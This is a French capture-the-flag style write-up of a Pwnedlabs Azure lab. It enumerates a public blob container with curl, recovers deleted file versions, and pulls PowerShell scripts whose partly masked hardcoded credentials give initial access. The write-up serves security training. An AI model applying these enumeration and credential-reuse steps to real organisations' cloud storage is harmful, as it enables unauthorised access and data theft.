☁️ - Azure Blob Container to Initial Access
N’ayant jamais fait d’Azure dans un contexte offsec, il est possible qu’il y ait des erreurs dans ce writeup, n’hésitez pas à me contacter pour les remonter :)
Aucun mot de passe ni flag ne sera publié dans ce writeup
Scénario du challenge :⌗
L’entreprise “Mega Big Tech” utilise une architecture cloud hybride avec un domaine Active Directory sur site et Azure. En raison de son importance dans la tech, elle craint des cyberattaques et demande une évaluation de la sécurité de son infrastructure, incluant ses services cloud. Une URL trouvée dans une documentation publique doit être analysée.
Globalement, le but ici est de récupérer des informations confidentielles stockées sur un blob Azure.
🔍 Enumération⌗
Pwnedlabs nous fourni une URL : “http://dev.megabigtech.com/$web/index.html"
En regardant les différentes ressources récupérées par l’application web, on remarque que l’application utilise un blob azure pour stocker des ressources (images, fichier javascript, etc…).
Pour rappel voici la liste des services de stockage Azure avec les URLs associés.
Storage service | Endpoint |
---|---|
Blob Storage | https://“storage-account”.blob.core.windows.net |
Data Lake Storage | https://“storage-account”.dfs.core.windows.net |
Static website (Blob Storage) | https://“storage-account”.web.core.windows.net |
Azure Files | https://“storage-account”.file.core.windows.net |
Queue Storage | https://“storage-account”.queue.core.windows.net |
Table Storage | https://“storage-account”.table.core.windows.net |
En lisant plusieurs documentations, je comprends que l’URL est donc sous cette forme :
https://mbtwebsite.blob.core.windows.net/$web/<fichiers>
- Nom du compte de stockage Azure :
mbtwebsite
- Le nom du conteneur qui héberge le site web :
$web
Avec le paramètre : ?comp=list
on peut lister les éléments stocké dans le blob
https://mbtwebsite.blob.core.windows.net/$web/?comp=list
Tips : Avec xmllint pour créer un fichier xml stockang la sortie de la commande curl.
curl 'https://mbtwebsite.blob.core.windows.net/$web/?comp=list' | xmllint --format - > file_list.xml
Tips : Si l’on souhaite récupérer un fichier précis.
curl 'https://mbtwebsite.blob.core.windows.net/$web/<file-name>' -o file-name
Articles explquant comment récupérer des fichiers de différentes versions sur un blob : https://dzone.com/articles/document-versioning-with-azure-blob-storage
todo :⌗
- Expliquer comment jouer avec les verions des fichiers
- Expliquer le principe des versions des fichiers dans azure
Regarder les fichiers supprimés :
curl 'https://mbtwebsite.blob.core.windows.net/$web/?restype=container&comp=list&include=versions' -H 'x-ms-version: 2019-12-12' | xmllint --format - > all_version_id.xml
Après avoir identifié un fichier zip, on peux le télécharger :
curl 'https://mbtwebsite.blob.core.windows.net/$web/scripts-transfer.zip?versionid=2024-03-29T20:55:40.8265593Z' -H 'x-ms-version: 2019-12-12' --output scripts-transfer.zip
En l’ouvrant, on constate qu’il contient 2 scripts powershell :
# Install the required modules if not already installed
# Install-Module -Name Az -Force -Scope CurrentUser
# Install-Module -Name MSAL.PS -Force -Scope CurrentUser
# Import the required modules
Import-Module Az
Import-Module MSAL.PS
# Define your Azure AD credentials
$Username = "marcus@megabigtech.com"
$Password = "Th*************" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential ($Username, $Password)
# Authenticate to Azure AD using the specified credentials
Connect-AzAccount -Credential $Credential
# Define the Microsoft Graph API URL
$GraphApiUrl = "https://graph.microsoft.com/v1.0/users?$select=displayName,userPrincipalName"
# Retrieve the access token for Microsoft Graph
$AccessToken = (Get-AzAccessToken -ResourceType MSGraph).Token
# Create a headers hashtable with the access token
$headers = @{
"Authorization" = "Bearer $AccessToken"
"ContentType" = "application/json"
}
# Retrieve User Information and Last Sign-In Time using Microsoft Graph via PowerShell
$response = Invoke-RestMethod -Uri $GraphApiUrl -Method Get -Headers $headers
# Output the response (formatted as JSON)
$response | ConvertTo-Json
et
# Define the target domain and OU
$domain = "megabigtech.local"
$ouName = "Review"
# Set the threshold for stale computer accounts (adjust as needed)
$staleDays = 90 # Computers not modified in the last 90 days will be considered stale
# Hardcoded credentials
$securePassword = ConvertTo-SecureString "Me******" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ("mar*****", $securePassword)
# Get the current date
$currentDate = Get-Date
# Calculate the date threshold for stale accounts
$thresholdDate = $currentDate.AddDays(-$staleDays)
# Disable and move stale computer accounts to the "Review" OU
Get-ADComputer -Filter {(LastLogonTimeStamp -lt $thresholdDate) -and (Enabled -eq $true)} -SearchBase "DC=$domain" -Properties LastLogonTimeStamp -Credential $credential |
ForEach-Object {
$computerName = $_.Name
$computerDistinguishedName = $_.DistinguishedName
# Disable the computer account
Disable-ADAccount -Identity $computerDistinguishedName -Credential $credential
# Move the computer account to the "Review" OU
Move-ADObject -Identity $computerDistinguishedName -TargetPath "OU=$ouName,DC=$domain" -Credential $credential
Write-Host "Disabled and moved computer account: $computerName"
}
Avec les différentes informations de récupérées, nous pouvons nous connecter au portail Azure afin de s’authentifier.